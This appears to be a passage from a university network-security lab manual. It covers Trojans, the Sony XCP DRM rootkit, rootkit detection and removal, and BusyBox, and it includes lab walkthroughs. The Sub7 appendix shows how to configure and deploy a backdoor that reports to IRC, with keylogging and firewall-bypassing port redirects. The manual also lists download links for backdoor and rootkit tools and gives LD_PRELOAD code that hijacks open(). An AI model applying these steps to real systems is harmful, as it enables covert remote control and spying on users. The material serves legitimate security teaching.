Q17.1.1 Does the notepad program appear after closing the calculator program?
Go back to the processes window.
Q17.1.2 Can you see notepad.exe in the processes window this time?
Q17.1.3 How do you detect a Trojan of this kind?
There are other programs like Silkrope (http://www.softpedia.com/public/cat/1/1-47.shtml)
which allows an attacker to create a Trojan. For example, if you have an installer for Quake
called quake.exe and an installer for a backdoor program like the ones we examined above,
silkrope allows you to combine these two installer programs into a single executable file. Thus,
when you launch the installer for Quake, the backdoor program gets installed in the background
without the user being aware of it. It might then send out a message over the network to attackers
signaling that the machine has been compromised.
49
Section 18 Sony DRM XCP Rootkit
This section further explores rootkits. This rootkit is specifically interesting because no matter
how careful you are about what you download or do on your computer, you can still be at risk for
getting a rootkit and having your computer remotely controlled. It also teaches us that we cannot
necessarily trust companies that we purchase from and that we should be wary about putting
anything into our computers, no matter the source.
Sony uses rootkit technology to protect its music on certain CDs. The rootkit installs silently
installs on your computer before you even accept the EULA. The main problem with the rootkit
is that it hides any files, registry keys, or processes that begin with $sys$. Clearly, this can be
exploited by hackers. Such exploits include the Breplibot.b backdoor which opens a TCP
connection, and connects to an IRC channel where the computer becomes a bot and can be
controlled remotely.
The rootkit installs two services that run at startup. The first on is named 'XCP CD Proxy' and
the latter one is named 'Plug and Play Device Manager'. However, the second one is the DRM
software and is hidden with the $sys$ naming.
In addition, it installs five drivers. The first driver hides the presence of the DRM software and
the latter drivers act as filter drivers and apparently monitor the CD drives in order to enforce
any digital rights. The DRM software hides it information by modifying the execution path of
several Native API functions. Specifically, the aries.sys driver hooks the System Service Table
(SST).
Prevention techniques include:
Preventing Autorun by pressing SHIFT when putting a CD into your computer.
Puting a piece of opaque (to infrared) tape or some other light blocker on the portion of the CD
where the DRM is located.
Runing Windows with a limited account, or use Linux/Mac OS X although it may still install
stuff on OSX, it is not clear what it installs is or does.
Background
As a copy protection measure, Sony included the Extended Copy Protection (XCP) on about was
put on 52 music CD titles. The rootkit software was automatically installed on computers when
the CD was put into the disk drive before the EULA was accepted. The software interferes with
the normal way in which Windows plays CDs, opening security holes that allow viruses to break
in, and causing other problems such as degraded computer performance.
The main problem with the rootkit is that it hides any files, registry keys, or processes that begin
with $sys$. Clearly, hackers can exploit this. Such exploits include the Breplibot.b backdoor hide
their processes and registry entries with $sys$, then opens a TCP connection, and connects to an
IRC channel where the computer becomes a bot and can be controlled remotely.
50
The rootkit installs two services that run at startup. The first on is named 'XCP CD Proxy' and
the latter one is named 'Plug and Play Device Manager'. However, the second one is the DRM
software and is hidden with the $sys$ naming.
In addition, it installs five drivers. The first driver hides the presence of the DRM software and
the latter drivers act as filter drivers and apparently monitor the CD drives in order to enforce
any digital rights. The DRM software hides it information by modifying the execution path of
several Native API functions. Specifically, the aries.sys driver hooks the System Service Table
(SST).
As a result, a number of parties have filed lawsuits against Sony BMG; the company ended up
recalling all the affected CDs, and there has been a public outcry over Sony’s tactics.
Sony’s first response was a removal program merely unmasked the hidden files installed by the
rootkit, but did not actually remove the rootkit. In order to download the uninstaller, it is
necessary to provide an e-mail address which got added to many Spa, and to install an ActiveX
control containing backdoor methods (marked as "safe for scripting", and thus prone to exploits).
On 2005-11-18, Sony BMG provided a "new and improved" removal tool to remove the rootkit
component of XCP from affected Microsoft Windows computers.
Playing with the Rootkit
Installation
Because of issues with the virtual machines interacting with the physical CD drive, we will be
using an ISO of the original CD.
Download the file called "sony_rootkit.iso" from the Lab5 folder of the NAS to your host
machine.
Start up a Windows XP virtual machine and make sure to log into an account with administrator
privileges, then create a text file on the desktop with $sys$ as the beginning string(i.e.
$sys$test.txt).
To load the ISO, click on the VM menu and go to Settings. From there click on CD-ROM 1,
then click "Use ISO image". Browse to wherever you saved sony_rootkit.iso, select the file, and
then click OK.
Unfortunately loading a disk like this won't autorun the image like normally inserting a disk
would, but instead pops up the contents of the disk. To run the install, double-click on
AUTORUN.EXE and then follow the CD's install instructions.
Once complete, click anywhere on the desktop and hit F5 to refresh it.
18.1. Can you see the file you created?
51
Now create a folder on your desktop with the $sys$ prefix. Afterwards, right click and choose
refresh. Now open a cmd prompt and cd into that folder.
18.2. What happened in the previous exercise?
18.3. In your Windows Explorer, go to directory: C:\Windows\system32\$sys$filesystem.
What happens?
18.4. Now go to that directory through the cmd prompt. What files do you see?
What you saw is actually not a full listing of files. $sys$DRMServer.exe and $sys$parking are
hidden with the software.
Detection
Check the Task Manager Processes.
Run IceSword that we used previously in the lab.
18.5. Can you see any suspicious running processes that weren’t on Windows Task
Manager? If so, what?
18.6. Do you see the file and folder that were hidden?
18.7. Right click on the process in IceSword and select Terminate Process. What happens?
Removal
Run the uninstaller. It is in the XCP2_Uninstaller.zip file. Extract and double-click on the .exe
file. This file is available online at http://cp.sonybmg.com/xcp/english/updates.html
18.8. Can you see the file you created?
52
18.9. One way of prevention is putting a piece of opaque (to infrared) tape or some other
light blocker on the portion of the CD where the DRM is located. Can you think of another
way to prevent this?
Sources
http://www.f-secure.com/v-descs/xcp_drm.shtml
http://www.f-secure.com/v-descs/breplibot_b.shtml
http://www.grc.com/securitynow.htm – Episode 12, 14 – Sony DRM Rootkit Drama
http://cp.sonybmg.com/xcp/english/updates.html
53
Appendix A: Protecting Against RootKits
A normal person would go about using an anti-virus and other security tools but the downside
with these tools is that we need frequent updates; they can’t block a piece malware which they
haven’t seen before. Consequently, these programs always suffer a period of vulnerability
between the time when source code for a new worm hits the Internet, for example, and the time
when the antivirus definitions to block or clean the infection are available for download.
Here are some suggestions that were researched to keep computers off these rootkits.
1) Never delete the system files and always use system restore(Win XP, Me). To do that,
follow these steps: (i) Click startProgramsAccessoriesSystem toolsSystem
restore. (ii) Select Create a restore point, and step through the wizard. (iii) Make a new
restore point before each change.
2) Find out what is running on your computer. Window’s task manager is always not the
best option to find what is running because it cannot authenticate each of your running
apps. One of the tools you can download from internet is Process Explorer from
Sysinternals. To install this follow these steps: (i) Unzip the procexpnt.zip file (ii)
double-click the file named procexp.exe. (iii) right-click a column name and then choose
Select Columns. (iv) Both 'Process Name' and 'Description' should be checked already,
but make sure to check Company Name and Command Line as well (v) Click the DLL
tab, check Path, and click OK.(vi) Next, click View and make sure that 'Show Lower
Pane' is checked. (vii) Last of all, click View, Lower Pane View, DLLs. With these
options on, we can select any process and see the associated DLLs. Any processes
running from the Temp folder should raise a red flag. One legitimate Windows file that
bears a little more scrutiny when found in the running-processes list is rundll32.exe.
Some forms of malware, distributed as DLL files, hide themselves by using this program
as a launching pad. Using the process explorer we can see the associated DLLs and kill
the ones which are bad and not crucial to our syste,
3) If you are not sure about the DLL file then you can check it in Microsoft’s DLL help
database. You can't always trust the first few results when you research an unknown file
on the Web. Even if a hundred small sites post data about a suspected piece of malware,
one page on a Microsoft site that explains the legitimate use of the file can trump those
analyses. The more you find out about a file before you search online, the less likely it is
that you'll kill a legitimate program or DLL.
4) To prevent kernel-level rootkits, there are several programs available to spot and remove
the dangerous rootkit files. For sheer analytical power, no competing rootkit remover can
outperform Sysinternals' RootkitRevealer, which ferrets out files and Registry keys that
might be associated with rootkits. The program is not guaranteed foolproof, it can have
failures as well. But for point-and-click ease, F-Secure's BlackLight tool puts the
antivirus company's knowledge to use in a rootkit scanner that finds and disarms rootkit
files on your hard drive. Though spartan in design, the tool won't leave a hidden Trojan
54
horse in place. It can be downloaded from http://www.f-secure.com/blacklight/try.shtml.
It is easy to download and install. Its main purpose is to fight rootkits and all kinds of
malware that use rootkits. Basically, it goes into deep level to detect objects that are
hidden from the user and security software. It puts the antivirus company's knowledge to
use in a rootkit scanner that finds and disarms rootkit files on your hard drive.
Figure 1. A screenshot of Blacklight
http://www.sysinternals.com/Utilities/RootkitRevealer.html
http://www.f-secure.com/blacklight/try.shtml
http://www.sysinternals.com/Utilities/ProcessExplorer.html
55
Appendix B: Win XP Safeguarding
http://www.windowsecurity.com/articles/Hidden_Backdoors_Trojan_Horses_and_Rootkit_Tools
_in_a_Windows_Environment.html
Is your system secure? How do you know? A machine is very rarely targeted for an attack for any other
reason than because it was vulnerable. One of the first steps in being proactive is to assess your basic
security policy rules and requirements. I think that having an up-to-date anti-virus software installed is a
primary concern, and even it won't fully protect your machine itself, it can be a lifesaver, providing good
protection against most viruses and trojans.
Another good practice is to look routinely at any modification of programs to discover new, odd services or
processes. Administration scripts are very useful tools in this regard, particularly when dealing with multiple
systems. One might also wish to consider host scanning on your network from time to time. If you suspect
that there is an open port at your computer, give a snapshot to check whether it is authorized or no. You
may use network, application diagnosis and troubleshooting programs such as TCPview (Fig. 5) [12], FPort
[13], Inzider [14], Active Ports (Fig. 6) [15], or Vision [16].
Fig. 5 TCPview tool allows to locate which application opened a port in your computer. Like Active Ports, it
tells you what is running on which port.
56
Fig. 6 Active Ports in action
These tools provide a means to identify the specific application opening the port. Moreover, they let one
avoid using Netstat, if it suspects that is has been replaced or infected. This brings me to another interesting
consideration: whichever tool is used, it is a good practice to use original tools previously uploaded on a
trusty diskette or CD-ROM when attempting to make a check of the system. If any doubt exists whether
individual tools are original ones, checksum them to check if they match the installation CD-ROM.
In this regard, ListDlls [17] and Process Explorer [18] (Fig. 7) can certainly be useful if finding any suspect
signs of trojan infected or backdoored processes.
57
Fig. 7
Process Explorer that displays object processes and related DLL libraries
These programs with their DLL libraries give some assistance and provide additional information on handling
incidents, investigations and conducting analysis to gather legal evidence in view of criminal prosecution.
May I also suggest that one pay closer attention to the registry keys that are responsible for starting
programs on the system startup. In most cases, these registry elements usually contain some indication of
how the intruder gained access, from where, when, etc. These are:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\KnownDLLs
HKEY_LOCAL_MACHINE\System\ControlSet001\Control\Session Manager\KnownDLLs
HKEY_LOCAL_MACHINE\System\ControlSet\Services
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\RunOnceEx
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\WinLogon
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows (run)
HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows (run)
HKEY_CLASSES_ROOT\exefile\shell\open\command
58
It is extremely important to establish consistent access permissions on these keys and activate inspection
tools to continuously monitor for any malicious attempts. The same applies to those system directories and
files that are security critical. A commonly accepted computer security policy usually starts with a “sound”
firewall as a guard against backdoors. Even if the intruder manages to install a backdoor, the firewall will
block him from getting to the listening port.
In fact, bypassing a firewall is not a plug-n-play thing, but I take liberty to serve a nice dose of pessimism.
There are known hacker tools that can get through even the most hardened firewalls.
However this is beyond the scope of this article, so I would recommend reading the document available at
the address: http://www.spirit.com/Network/net0699.txt.
Finally, I would like to raise your awareness about a certain issue. Once your machine has been
compromised and the hacker has gained total administrative access, be very careful in recovering the
system from the back-up copy or the disk image! I have personally experienced a situation, where someone
replaced a WWW site. The system administrator had retrieved the system from a back-up copy, patched the
system, updated the access database and changed passwords. Thus, he has considered the server perfectly
safe. But he overlooked the fact, that the intrusion had been made long before he made the copy containing
a back-doored version. So, I would strongly recommend checking the system whenever it is backed up.
Hackers increasingly threaten the network community with their new techniques, backdoors and Trojan
horses. Therefore we must take steps to guard against known methods of hacking, even though their will
still be a large number of worrying factors we don’t know about. The only thing is absolutely obvious – you
never know how long your immune system can hold out before breaking down.
Tools:
[1] Netcat - http://www.hackerscor.com/km/files/hfiles/ncnt090.zip
[2] iCMD - http://go8.163.com/lmqkkk/mytools/iCmd.exe
[3] RemoteNC - http://go8.163.com/lmqkkk/mytools/remotenc.zip
[4] Tini - http://go8.163.com/lmqkkk/mytools/tini.exe
[5] WinShell - http://go8.163.com/lmqkkk/mytools/Winshell4.0.zip
[6] CGI-backdoor - http://go8.163.com/lmqkkk/mytools/cgi.zip
[7] Remote Administrator - www.radmin.com
[8] TightVNC - http://www.tightvnc.com/download.html
[9] Rootkit v.0.44 – www.ndsafe.com/fires/rk_044.zip
[10] Rootki v.0.40 - http://www.megasecurity.org/Tools/Files/Nt_rootkit0.40.zip
[11] IIP Driver - http://www.pedestalsoftware.com/intact/iipdriver.htm
[12] TCPview – www.winternals.com
[13] Fport - http://www.foundstone.com/knowledge/proddesc/fport.html
[14] Inzider - http://ntsecurity.nu/toolbox/inzider/
[15] Active Ports - http://www.ntutility.com/freeware.html
[16] Vision - http://www.foundstone.com/knowledge/proddesc/vision.html
[17] ListDlls – http://www.sysinternals.com/ntw2k/freeware/listdlls.shtml
[18] Process Explorer - http://www.sysinternals.com/ntw2k/freeware/procexp.shtml
[19] LANguard Network Security Scanner
59
Appendix C: Trojan Removal
http://forums.majorgeeks.com/showthread.php?t=35407
Introduction:
This article reflects countless hours of experience removing spyware, trojans and viruses. If you can take
the time to do all of these steps, there's a good chance your problem will be solved by following this
article. While all of these steps are not required for each case, they should be beneficial to all. In general,
these steps should work on all versions of Windows XP, but some may not apply to older operating
systems like Windows 98. If you need to post a new thread requesting support be sure you have done all
of these steps, tell us you did so, what symptoms you are experiencing and then follow any directions we
give you exactly. As you can see from reading some of the threads, people often ask for advice,
then only do bits and pieces. This will not help you; It will frustrate us and take more time than
required
Section 1 makes sure your computer is not at risk for hard to remove viruses. Section 2 covers cleaning
and removal. Section 3 makes suggestions on securing your machine after clean up.
Complete ALL the applicable steps of Getting Prepared and then you MUST complete all 4 steps from
Scanning And Cleaning Steps.
Getting Prepared; Steps to be sure your system is ready to be scanned:
1: Disable System Restore temporarily (WinXP & WinME only) if you are infected; Any trojans, spyware,
etc. you may have picked up could have been saved in System Restore and are waiting to re-infect you.
Since System Restore is a protected directory, your tools can not access it to delete files, trapping viruses
inside. Please follow instructions to do that here: http://forums.majorgeeks.com/showthread.php?t=31668
2: Network Security, Workstation Netlogon Services & Remote Procedure Call (RPC) Helper (Windows
XP, 2K, NT); Only do this step if you have the about:blank or home search hijack. You need to
check to see if any of the following three Windows services are running:

Network Security Service

Workstation Netlogon Service

Remote Procedure Call (RPC) Helper
To do this, click Start, Run, and enter the following in the Open box: "services.msc" (without the quotes).
Then click OK. Now, in the Services window that pops up look for exactly the following service
names (no others) "Network Security Service" or "Workstation Netlogon Service" or "Remote
Procedure Call (RPC) Helper". (NOTE: DO NOT DISABLE: Remote Procedure Call (RPC) or Remote
Procedure Call (RPC) Locator. They are both required services and are unrelated to the hijacker.). You
could have more than one of the 3 mentioned bad services, so look for all of them. If you find these
services, you must right click on it to bring up the service Properties window and do the following (refer to
the Figure too):
Step 1: Stop the service by click the Stop button.
60
Step 2: Now, disable it by changing the Startup type to Disabled and click Apply
If you do not find these exact services, do not worry and just skip this step. DO
NOT DISABLE
ANYTHING UNLESS THE EXACT WORDING OF THE SERVICE NAMES IS
MATCHED.
3: Enable viewing of hidden files and folders and extensions; Some programs can hide this way by not
being visible in Windows. Start Windows Explorer and click on your main hard drive, usually c:\. Then
select Tools from the top of Windows Explorer and then Folder Options. Go to the View tab. Scroll down
to the folder icon that says Hidden files and folders and check show hidden files and folders. Also, right
below it, uncheck the hide file extensions for known types. Not doing this could allow file extensions
commonly used by trojans and spyware to be hidden, for example a file ending in .exe or dll making
manually finding it, if needed, difficult to impossible.
4: Downloading Tools; Download the following tools and save in your favorite download folder or create
one, for example C:\Temp or C:\Downloads. And then install, update, and configure as indicated below.
While this may seem like overkill, there currently is no one perfect removal tool. Because of this, to
properly find and fix your problem, you need to try a variety of programs.
TIP: Create a folder on your C:\ drive for the tools/utilities you will need to use. For example: Navigate to
your C:\ folder and create a right click on a blank spot in the window > choose New > Folder. Name this
folder Spyware Tools. Now you can save the tools you will be downloading to this folder and if you prefer,
create sub-folders named for each individual utility.
Ad-Aware SE.......Install, click Check for Updates now and get any updates, then exit.
Ad-Aware VX2 Cleaner Plug-In.....Install only
CCleaner.............Install only, then exit
Spybot................Install, do the search for updates now and get any updates, then exit.
Spybot - Search and Destroy DSO Exploit Fix - Install this patch on top of Spybot to fix the DSO Exploit
bug
SpywareBlaster...Install, click Download Latest Protection Updates, Check for Updates, and then Enable
All Protection, then exit. It does a great job of blocking known vulnerabilities as well as known malicious
websites.
McAfee AVERT Stinger.....No installation required! Ready to run as is.
CWShredder......No installation required! Just unzip it to a folder.
Kill2me..............No installation required! Just unzip it to a folder.
about:Buster......No installation required! Just unzip it to a folder. Click Update and download any
before scanning.
61
HSRemove........No installation required! Ready to run as is. (Only for WinNT, 2K, XP)
Your system is now ready to be properly scanned for spyware, trojans and viruses.
Scanning And Cleaning Steps: (These 4 steps are NOT optional and must be run!!)
1: Virus And Trojan Scanning (do not skip these two scans or you will be asked to run them before
continuing)
a) Win9x (Windows 95, 98, 98SE) users boot normal mode.

do an online scan at Trend Micro's Free Online Virus Scan

do an online scan at Symantec Security Check

now boot in safe mode (and remain there) and run McAfee AVERT Stinger. See how to boot in
safe mode below.
b) And Windows XP, 2000, NT, ME, users boot in "safe mode with networking support" (and remain in
there). See how to boot in safe mode below.

do an online scan at Trend Micro's Free Online Virus Scan

do an online scan at Symantec Security Check

run McAfee AVERT Stinger
NOTE: If using a non-IE browser, you can use Trend Micro's online scan with Java located HERE
How to boot in safe mode: To boot into safe mode, restart your computer and tap the f8 key (after first
black and white screen, but before the Windows splash screen) until you get to a black and white screen
asking you what to do. With Windows XP, 2000, NT, ME: Use your arrow keys and select "safe mode with
networking support".
Booting in safe mode is important because best results are achieved since safe mode disables most
drivers and running programs. If you have a problem for any reason trying to run these scans in safe
mode, do them in normal boot mode but make sure you tell us that in any subsequent message you may
need to post about your problem,
Important Note Before continuing with scans:
To provide the greatest ability for the scanners to properly detect and remove all forms of malware, make
sure to close any other applications that are running on your system especially browsers before you run
these tools. It is in your best interest to follow this directive. So disconnect from the internet now and
close all browsers and any other applications you have running now and then continue with step 2 below.
2: Clean Your Hard Drive; Remove temporary internet and other files not needed with CCleaner. Run
CCleaner with the default options to clean out temporary files. Optionally, check the clean "Delete
Index.dat" checkbox. Only use the Windows tab and select Run Cleaner. Do not run any other options
from other tabs.
3: Main Spyware Scan And Removal; Scan your machine with Ad-Aware SE (remember to install the AdAware VX2 Cleaner Plug-In for it) and Spybot. Look for the Immunize feature in Spybot and use it. Make
sure you install the Spybot DSO Exploit patch before running a scan with Spybot.
4: Secondary Spyware Scan And Removal: Other Removal Tools; Run the other programs you
downloaded; CWShredder (make sure you select Fix), Kill2me, about:Buster and HSRemove. They are
62
free, standalone and easy to use. Note: about:Buster and HSRemove need only be run if you are
having about:blank or HomeSearchAssistent hijacks. Also, note that HSRemove is not compatible
with Win9x or WinMe systems.
OPTIONAL Steps: require you reboot back to normal mode.
1: OPTIONAL: If you can not remove the stubborn "Only the Best" aka "HSA" HIJACKER please view this
thread by Chaslang, an expert in removing these things, can be found here:
http://forums.majorgeeks.com/showthread.php?t=38772
2: OPTIONAL: Scan With Hijack This; If you have gotten this far without success, you may need to
download Hijack This!. Taking a few minutes to read this tutorial is required before posting a logfile so
that you can get the most from it and make it easier to diagnose. Please post your logfile as an
attachment and only when asked.
Make sure that you tell us in your post that you've already followed the instructions on this page
so we don't waste your and our time by posting a link to it in your thread. Also, it would be helpful
to indicate what kind of problems the above steps have found and fixed (or failed to fix).
Alternative Scans - If still having problems
If you are still having problems after performing all the above, these alternative scans below may prove to
be useful. As mentioned above, it would be good to perform these in safe mode since it may assist in the
ability to remove an infection. However, there are cases where a problem does not show itself completely
until you boot in normal mode. So first run these scans in normal boot mode, and if they have problems
cleaning any particular items repeat the scan in safe mode to see if it helps. Always keep track of what
these scans find (save logs or take notes), and report them back in your thread to anyone helping you.
Bitdefender online scan
RavAntivirus online scan <-- select Auto Clean then click Scan My PC
TrojanScan online scan
a-squared (a²) Free edition free but requires an email address to register
avast! Virus Cleaner Tool
ADS SPY - Alternate Data Streams Spy from Merijn
Recent browser hijackers started using ADS to hide their files, and very few anti-malware scanners detect
this. Use ADS Spy to find and remove these streams. Note: this app also displays legitimate ADS
streams. Don't delete streams if you are not completely sure they are malicious! You should consult
with an expert before deleting any files with this tool.
Keeping your computer safe and secure:
1: Windows Update; Update Windows at Microsoft Windows Update. Just click on Start, then Windows
Update. Many security loopholes are found and exploited and Microsoft patches for these. Millions of
people were affected by the Blaster worm because they were not up to date, as an example. If you're not
up to date, you're at risk. You can setup automatic updates in your control panel; go to Start, Settings,
Control panel.
2: Remove Microsoft Java; Microsofts no longer supported version of Java is often a source of installed
spyware and hijacks so it is a good idea to remove Microsoft Java Virtual Machine and Install Sun Java.
To remove it follow these steps.
63
1: Select Start > Run and Enter "RunDll32 advpack.dll,LaunchINFSection java.inf,UnInstall" in the Open
box, and click ok.
2: Click Yes to confirm that you want to remove the Microsoft VM
3: When prompted, reboot the computer
4: Remove the following items: (Systemroot is where windows is installed (usually C:\Windows)
The \%Systemroot%\Java folder
The file java.PNF from the \%Systemroot%\inf folder
The files jview.exe and wjview.exe from the \%Systemroot%\system32 folder
The registry subkey HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Java VM
The registry subkey HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ InternetExplorer \
AdvancedOptions \ JAVA_VM
OR
Download and run the MSJVM Removal Tool 1.0a
5: Install Sun Java here: http://java.com/en/
You can choose a different language if you need it from the top menu on that page.
(Any files or registry entries not found or errors can be ignored and go to the next step)
Optionally, consider replacing your web browser with a free alternative like FireFox or a shareware
browser like Opera, for example.[IMG]
64
Appendix D: Sub7
Sub7, or SubSeven, is the name of a popular trojan or backdoor program. It is mainly used by
script kiddies for causing mischief, such as hiding the computer cursor, changing system settings
or loading up pornographic websites. However, it can also be used for more serious criminal
applications, such as stealing credit card details with a keystroke logger.
This addition should be added after the user has started the IRC server on the 4.0 machine.
SubSeven Trojan
References:
http://www.hackpr.net/~sub7/main.shtml
http://www.answers.com/SubSeven/
SubSeven Information
Sub7, or SubSeven, is the name of a popular trojan or backdoor program. It is mainly used by
script kiddies for causing mischief, such as hiding the computer cursor, changing system settings
or loading up pornographic websites. However, it can also be used for more serious criminal
applications, such as stealing credit card details with a keystroke logger.
Sub7 is usually stopped by antivirus software and a firewall, and with popular operating systems
providing these features built in, it may become less of a computer security problem.
It was originally designed by Mobman, whose whereabouts are currently unknown. He is
rumored to either have died or have become uninterested in continuing the project. Some claim
to have spoken with him and maintain that he is not dead. At any rate, no development has
occurred in several years (The website was last updated in April of 2004).
In common with other backdoor programs, Sub7 is distributed with a server and a client. The
server is the program that victims must be enticed to run in order to infect their machines, and
the client is the program with a GUI that the cracker runs on his own machine to control the
server. Sub7 allows crackers to set a password on the server, theoretically so that once a machine
is own3d, no other crackers can take control of it.
However, older versions of the Sub7 server also have a master password, allowing anyone who
knows the master password to take over the machine. In some older versions, the master
password was 14438136782715101980 but this "feature" was later scrapped.
Some versions of the client contain HDKP (Hard Drive Killer Pro) code, intended to destroy the
harddrive of an enemy of the authors. The code checks to see if the computer has ICQ and if the
user account matches a specific number, and if so, bombs the drive. It is rumored that the
intended target had their drive destroyed.
Using SubSeven
65
Download the SubSeven tools from http://www.hackpr.net/~sub7/main.shtml.
Browse to the SubSeven directory and open the EditServer.exe file.
Load the settings for the current server.exe file by selecting read current settings.
Looking under startup method(s) select the method used to load the server when the victim’s
computer starts up. Notice you can change the name or the registry entry.
Next set the notification options to connect to the IRC channel you just set up on the 4.0
machine. For the irc server, use the IP address of your 4.0 machine, set the port to 6668, and the
notify to #ece4112.
Under installation, you can select to enable fake error message and configure your custom error
message. Notice you can also bind the file with an legitimate exe file say calc.exe
Select save new settings.
Now you need to get the server.exe file onto the victim’s computer using one of the methods
previously discussed in earlier labs. For this lab, simply copy the files onto a Windows XP copy
VM.
Execute the server.exe on the copy infected Windows Machine. In a moment you should see the
connected infected machine connected to the IRC server on the 4.0 machine. It tell you the IP
address and port number of the infected machine.
Now it’s time to have some fun. Open SubSeven.exe on the clean Windows XP computer and
connect to the infected machine. Play around with all the possibilities. Notice you have key
logging, screen capture, file browsing, and the ability to edit the registry. Under the
66
connection/get pc info tab, retrieve information from the infected host. Can you get a user
account name?
Under the advanced/port redirect tab, add a port redirect to the infected host as shown below.
How might this bypass a typical firewall? What can be done to help prevent this from bypassing
a firewall?
Removing SubSeven
In case you think you may be at risk of the SubSeven Trojan, the following tips can be used to
make sure your system is uninfected. Check your Run, Run Services, registry entries and
remove any unknown process/services. Most antivirus programs will detect the SubSeven Trojan
and delete it immediately. You can also download the SubSeven.exe program and use the
remove feature.
67
Appendix E: Busybox
(http://busybox.net/downloads/busybox-1.00-rc3.tar.gz)
After you have determined that your box has been exploited, you can no longer trust the system
binaries as they may have been compromised. Even tools such as chkrootkit uses system binaries
such as awk, sed, ps, ls and find. Assuming you are dealing with a traditional (non-LM) rootkit,
you should use statically built busybox binaries or a bootable linux cd (knoppix) to perform your
audit. BusyBox is a collection of common *nix commands in a single executable, it is designed
for embedded systems, but can also be used as quick replacements on an exploited system. Get
the files for BusyBox from the NAS and place them on your Linux 7.2 machine:
# tar xzvf busybox-*
# cd busybox-1.00-rc3
# make menuconfig
Select the following:
Build Options -> Build busybox as a static binary (no shared libs)
Editors -> awk
Networking Utilities -> netstat
Choose exit and save the configuration
# make dep
# make
# make install
busybox can now be run like: ./busybox <cmd> <args> or just ./busybox to see the available
commands.
# ./busybox
# ./busybox ls
to run chkrootkit using only the busybox binaries (thus you would be running a know good set of
binaries that had not been compromised):
/path/to/chkrootkit-0.45/chkrootkit –p /path/to/busybox-1.00-rc3/_install/bin:/path/to/busybox1.00-rc3/_install/usr/bin
If you have any trouble setting the path, go on to the next section. The main purpose of Section 4
is to understand that even chkrootkit may be compromised, and clean binaries should be used
before searching for a rootkit.
68
Appendix F: Dynamic Library Manipulation
EXPLOIT
The first thing to understand about LD_PRELOAD is how programs are compiled and linked to
library code. When you compile a program very often you use code you did not write, in the
form of library code. An example of such a function would be open, in libc. The code for open is
in a precompiled library included on your computer, either libc.so or libc.a (There are also some
version numbers generally included on the names). Either library can be used depending on how
you compile. One option would be to compile statically, using the libc.a, this would mean that all
code for your open() call is put right inside your generated executable. The other, more common
option, is to use dynamic linking to link the code for open() at runtime. This approach has two
main advantages; it cuts down on the size of your executable and allows the library code to be
changed seamlessly down the line (for example a new security patch). This dynamic linking is
the default of most compilers (including gcc).
Lets do a little demonstration, (name of the file precedes it delimited by !, like so !file!)
!test.c!
/* test.c */
#include <stdio.h>
#include <fcntl.h>
int main(void) {
char *buff = malloc(10);
int fd = open("test.txt", O_RDONLY);
read(fd, buff, 10);
printf("%s", buff);
close(fd);
return 0;
}
!test.txt!
good file
gcc -o testStatic -static test.c
gcc -o testDynam test.c
Now use “ls -l” to check the sizes, on my machine I got:
193
5153
428127
10
test.c
testDynam
testStatic
test.txt
Note the very large differences in size between the static and dynamic library.
Now lets see what sort of calls these programs use.
69
Use “strace ./testDynam” and “strace ./testStatic”
Note how the dynamically linked libraries have many more system calls, those which are linking
the library. It is possible to prelink the library using the LD_PRELOAD parameters, that way we
don’t have to link it at runtime. Moreover LD_PRELOAD does not have to link the correct
library.
So first let’s create a new replacement “library”:
!newlib.c!
#include
#include
#include
#include
#include
<stdio.h>
<dlfcn.h>
<stdlib.h>
<stdarg.h>
<fcntl.h>
/* this function opens the libries needed */
void *mydlopen(void) {
void *handle;
handle = dlopen("/lib/libc.so.6", RTLD_LAZY);
if(!handle){
fputs(dlerror(), stderr);
exit(EXIT_FAILURE);
}
return handle;
}
/* a rewrite of open */
int open(const char *pathname, int flags, ...) {
void *handle;
int (*orig_open)(const char *, int, mode_t mode );
char *error;
mode_t mode = 0;
va_list ap;
va_start(ap,flags);
if (flags & O_CREAT)
mode = va_arg(ap, mode_t);
printf("got in [my]open\n");
/* open real library */
handle = mydlopen();
/* get real open function pointer */
orig_open = dlsym(handle, "open");
if((error = dlerror()) != NULL) {
fprintf(stderr, "error in [my]open\n%s\n", error);
exit(EXIT_FAILURE);
}
return orig_open(pathname, flags, mode);
}
70
The first thing to note is that I did not rewrite the library, all I did was open it explicitly and use
its functionality. I did, however, put a printf statement noting that my library got called.
Next this needs to be compiled, use the commands
gcc -fPIC -rdynamic -g -c -Wall newlib.c
gcc -shared -Wl,-soname,libmy.so.1 -o libmy.so.1.0.1 newlib.o -lc -ldl
rm newlib.o
This tells gcc to compile your code into library code, then use some of the more obscure
command line options to integrate your code with the rest of libc, replacing it where needed.
Now let’s load our library into a shell and run our program. For cleanliness’s sake instead of
loading LD_PRELOAD straight into our shell we will make a shell script that does that Since
this shell script will destroy itself when done, we will not have to worry about corrupting our
system at large.
!testlib.sh!
#!/bin/sh
export LD_PRELOAD=./libmy.so.1.0.1
exec ./$*
Basically all this script does is make a sh shell (used to ensure the command syntax will work –
all other shells have their equivalents), preload our new “library”, then try to run any command
line arguments passed in.
So now test it
./testlib.sh testDyan
./testlib.sh testStatic
This yields some interesting results. When you tested your dynamically linked libraries you got
the message “got in [my]open”, the static library however did not. Why? Since the dynamically
linked library relied on finding open() from an external library it checked your preloaded library
first and found your replacement open(), it then used your version instead of going on to try and
find the real libc version. The statically linked version on the other hand had all of the code for
open right in the program and thus was not affected. Most programs are not compiled like this
however due to the previously mentioned reasons.
Now that we have our own arbitrary code running instead of open(), we can do whatever we
want. As an example, lets redirect the open so that instead of opening good.txt we now open
bad.txt.
So simply change our “library” code to do this. Instead of passing pathname we will hard code
